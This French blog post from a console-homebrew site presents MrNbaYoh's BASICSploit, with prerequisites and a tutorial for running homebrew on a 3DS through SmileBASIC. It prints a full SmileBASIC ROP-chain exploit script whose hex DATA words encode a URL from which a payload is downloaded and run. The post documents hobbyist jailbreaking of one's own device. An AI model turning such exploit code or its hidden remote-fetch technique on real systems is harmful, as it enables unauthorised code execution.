[3DS] MrNbaYoh publie son BASICSploit (pour SmileBASIC)
MrNbaYoh n’a pas chômé ! Alors que le hacker venait de publier il y a quelques jours une vidéo prouvant qu’il avait réussi à exploiter une faille dans le programme SmileBASIC, voilà qu’il revient déjà à la charge en le partageant au grand public. Baptisé sobrement BASICSploit, cet exploit n’est pour rappel disponible que pour les joueurs nord-américains et japonais, étant donné que le fameux logiciel SmileBASIC (une sorte de jeu aidant à l’apprentissage du langage de programmation BASIC) n’est téléchargeable que sur les eShop US et JP.
0) Pré-requis
- Une 3DS avec SmileBASIC en version 3.2.1 ;
- Le homebrew starter kit.
Vérifiez bien que vous êtes connecté à internet, en vous rendant dans le menu Home de votre 3DS et en touchant le petit bouton en haut à gauche de l’écran inférieur (avec l’icône en forme de maison).
1) Mini-tuto
1.A) La première fois
Décompressez l’archive du homebrew starter kit à la racine de votre 3DS. Si vous ne savez pas comment lier celle-ci à l’ordinateur, consultez ce court tutoriel.
Lancez SmileBASIC, et créez un nouveau projet nommé « BASICSPLOIT » ainsi qu’un nouveau fichier nommé « DOWNLOADER ». Écrivez (à la main…) dans ce nouveau fichier le script qui suit :
IF HARDWARE==1 THEN
CODE_LINEAR_BASE=&H30000000+&H07C00000-&H00100000
ELSE
CODE_LINEAR_BASE=&H30000000+&H04000000-&H00100000
ENDIF
DATA &HDEADC0DE, &H13341C, &H94500D3, &H109924, &H1E6790, &H10ECA4, &H94500A0, &H1C15D8, &HDEADC0DE, &H94500D7, &HDAFC9754, &H115D5C, &H248720, &H94500DB, &H9450108, &H1DFECC, &H9450074, &H256D78, &H109924, &H2554DC, &H1000, &H248A8C, &HDEADC0DE, &H1FBA38, &H70747468, &H6D2F2F3A, &H61626E72, &H2E686F79, &H68746967, &H692E6275, &H61622F6F, &H73636973, &H696F6C70, &H73752F74, &H3132335F, &H725F642F, &H622E706F, &H6E69
DIM ROP[&H27]
ROP[0]=CODE_LINEAR_BASE
FOR I=1 TO &H26
READ ROP[I]
NEXT
BGSCREEN 0,134217728,16
ROP_COPYBASE_X = 406873
ROP_COPYBASE_Y = 7
ROP_LENGTH = LEN(ROP)
I=0
J=ROP_COPYBASE_Y
X=ROP_COPYBASE_X
WHILE I < ROP_LENGTH
WHILE I < ROP_LENGTH AND J >= 0
WORD=SHIFT(ROP)
BGPUT 0,X,J,WORD
DEC J
BGPUT 0,X,J,WORD>>16
DEC J
INC I
WEND
INC X
J=15
WEND
BGPUT 0,4759,2,"0017"
BGPUT 0,4759,3,"0D28"
FILL ROP,0
END
Lancez le script. Le programme devrait télécharger toutes les ressources nécessaires puis lancer le menu in-game. Une fois arrivé dessus, choisissez l’option « Download/Update » pour télécharger le payload du hax. Quand il sera téléchargé, vous n’aurez plus qu’à le lancer avec la première « entrée » du menu.
1.B) La seconde et les prochaines fois
Lancez simplement le script nommé « BASICSPLOIT » pour accéder au Homebrew Launcher.
N’hésitez pas à poser vos questions ou à réagir en commentaire ! ;)
Wirus
Un virus (étonnamment) gentil, qui ne demande qu'à faire plaisir aux gens ! Et hacker ses consoles, accessoirement...- "bonjour jexplique mon probleme jai effectuer un downgrade 3.73 vers 3.65 sur psvita avec hen2 et moduro mai..." - will11160
- "bonjour j'ai un probleme j'arrive pas a un installer CMA (l'assista,t de gestionnare de contenu ps vita) ..." - juju
- "Hello I am so delighted I found your blog page, I really found you by error, while I was browsing on Digg ..." - Owen
- "Un grand merci pour cette traduction d'excellente qualité. Nintendo n'aurait pas fait mieux ! Vous êtes gén..." - Bastien64x
- "Bonjour ! Désolé pour ce retard, j'espère que tu as pu régler ton problème entre-temps, si ce n'est pas le ..." - Wirus
- "[…] grand nom de la scène hack PSP surtout connu pour son PRO Online, ainsi que noname120, ..." - [PSP] God Eater 2 : un petit patch de traductio...
- "[…] cette nouvelle monture et voir si elle est à la hauteur de nos espérances, car souvenez-vous que ..." - [PSP] [Vita] Le shell CyanogenMod passe en vers...
- "[…] vous en avions déjà parlé, CyanogenMod est un shell PSP développé par Joel16 arborant l..." - [PSP] [Vita] Le shell CyanogenMod passe en vers...
- "[…] Instructions disponibles iciHomebrew non signé CyanogenMod […]" - [PSP] CyanogenMod passe à Android Lollipop - Cu...
- "[…] Pour pouvoir installer le plugin, suivez notre tutoriel : TUTO – Comment installer des plugins ?...." - [PSP] CXMB devient rétro-compatible ! - Custom ...



![[3DS] [2DS] TUTO – Lancer des homebrews via le Homebrew Menu](https://v1.customprotocol.com/medias/2019/08/3ds-tuto-commencer-lancer-homebrews-homebrew-menu-launcher-65x65.png)
![[3DS] [2DS] TUTO – Installer Bootstrap9 grâce à Fredtool en version 11.10](https://v1.customprotocol.com/medias/2018/11/3ds-guide-complet-hack-boot9hax-boot9strap-vignette-par-windvern-65x65.png)
![[3DS] [2DS] TUTO - Utiliser l’exploit BannerBomb3 pour obtenir un dump DSiWare](https://v1.customprotocol.com/medias/2019/08/bannerbomb3-tuto-vignette-65x65.png)
![[MàJ][3DS] TUTO - Installer boot9strap (boot9hax) via Frogminer en version 11.9](https://v1.customprotocol.com/medias/2018/05/3ds-guide-complet-hack-boot9hax-vignette-par-windvern-65x65.png)
![[3DS] TUTO - Installer Steelhax pour lancer des homebrews via Steelminer](https://v1.customprotocol.com/medias/2018/11/steelhax-steelminer-hack-point-entree-homebrews-3ds-guide-vignette-65x65.png)
![[3DS] Un nouvel exploit primaire découvert sur Flipnote Studio 3D ?](https://v1.customprotocol.com/medias/2017/08/flipnote-studio-3d-exploit-mrnbayoh-65x65.png)
![[3DS] [2DS] TUTO – Obtenir sa clé « movable.sed » de chiffrage DSiWare via Seedminer](https://v1.customprotocol.com/medias/2019/08/seedminer-comment-generer-movable.sed-id0-vignette-65x65.png)
![[Vita] Firmware 3.71 : et un nouveau firmware inutile, un !](https://v1.customprotocol.com/medias/2019/07/ps-vita-mise-a-jour-update-firmware-officiel-3.71-65x65.png)





